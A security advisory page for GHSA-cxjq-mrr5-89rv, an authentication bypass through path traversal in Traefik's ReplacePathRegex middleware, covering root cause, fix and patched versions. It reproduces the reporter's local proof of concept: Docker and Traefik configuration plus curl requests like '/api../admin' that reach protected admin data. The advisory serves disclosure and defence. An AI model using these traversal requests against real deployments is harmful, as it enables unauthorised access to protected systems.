GHSA-cxjq-mrr5-89rv is a critical-severity (CVSS 9.1) Path Traversal vulnerability in github.com/traefik/traefik/v2. A fix is available for github.com/traefik/traefik/v2 — see the affected versions and patch details below.
Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-cxjq-mrr5-89rv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-cxjq-mrr5-89rv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/traefik/traefik/v2🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefik/v3🐹github.com/traefik/traefikReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.*)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52
- https://github.com/traefik/traefik/releases/tag/v3.6.23
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>Summary
A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.
Details
When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., regex: "^/api(.*)", replacement: "/$1"), an attacker can inject implicit traversal sequences into the capture group.
Root cause: pkg/middlewares/replacepathregex/replace_path_regex.go, function ServeHTTP (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.
Attack flow:
- Attacker sends
GET /api../admin sanitizePathpasses it unchanged (api..is a valid segment name, not a dot-segment)- Router matches
PathPrefix(/api)→ selects the public router (no auth middleware) - ReplacePathRegex applies
^/api(.*)→ captures../admin→ replacement produces/../admin - No normalization check exists → path forwarded to backend as-is
- Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes
/../adminto/admin - Attacker receives protected content without authentication
Suggested fix: Add the same JoinPath equality check after line 67:
if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {
http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
PoC
Prerequisites: Docker Engine 20.10+, Docker Compose v2, curl
1. Create docker-compose.yml:
services:
traefik:
image: traefik:v3.7.6
command:
- "--api.insecure=true"
- "--providers.file.filename=/etc/traefik/dynamic.yml"
- "--entrypoints.web.address=:80"
ports:
- "8080:8080"
- "80:80"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
healthcheck:
test: ["CMD", "traefik", "healthcheck"]
interval: 5s
timeout: 3s
retries: 5
backend:
image: node:22-alpine
working_dir: /app
volumes:
- ./server.js:/app/server.js:ro
command: ["node", "server.js"]
healthcheck:
test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
interval: 5s
timeout: 3s
retries: 5
2. Create dynamic.yml:
http:
routers:
public-api:
rule: "PathPrefix(`/api`)"
entryPoints: [web]
middlewares: [rewrite-api]
service: backend-svc
priority: 1
protected-admin:
rule: "PathPrefix(`/admin`)"
entryPoints: [web]
middlewares: [auth]
service: backend-svc
priority: 2
middlewares:
rewrite-api:
replacePathRegex:
regex: "^/api(.*)"
replacement: "/$1"
auth:
basicAuth:
users:
- "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
services:
backend-svc:
loadBalancer:
servers:
- url: "http://backend:3000"
3. Create server.js:
const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
const normalized = path.posix.normalize(req.url.split('?')[0]);
res.setHeader('Content-Type', 'text/plain');
if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
} else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
});
server.listen(3000);
4. Run and exploit:
docker compose up -d && sleep 5
# Confirm auth is enforced:
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401
# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)
# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)
Configuration note: The regex ^/api(.*) (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to StripPrefix("/api") for legitimate traffic. The pattern ^/api/(.*) (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where StripPrefix("/api") was vulnerable but StripPrefix("/api/") was not.
Impact
Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
</details>Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/traefik/traefik/v2 | all versions | 2.11.52go get github.com/traefik/traefik/v2@v2.11.52 |
| 🐹Go | github.com/traefik/traefik/v3 | all versions | 3.6.23go get github.com/traefik/traefik/v3@v3.6.23 |
| 🐹Go | github.com/traefik/traefik/v3 | ≥ 3.7.0&&< 3.7.7 | 3.7.7go get github.com/traefik/traefik/v3@v3.7.7 |
| 🐹Go | github.com/traefik/traefik | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/traefik/traefik/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/traefik/traefik/v2 to 2.11.52 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cxjq-mrr5-89rv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-cxjq-mrr5-89rv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-cxjq-mrr5-89rv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This Critical flaw in Traefik's `ReplacePathRegex` middleware allows an unauthenticated remote attacker to bypass authentication. When the middleware is configured with a regex that captures user-controlled path segments without a mandatory path separator, it can forward un-normalized paths. This enables access to…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift Dev Spaces 3.30 | devspaces/traefik-rhel9:1787756799 | RHSA-2026:62260 |
Frequently Asked Questions
Is GHSA-cxjq-mrr5-89rv in your dependencies?
O3 Security finds GHSA-cxjq-mrr5-89rv across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.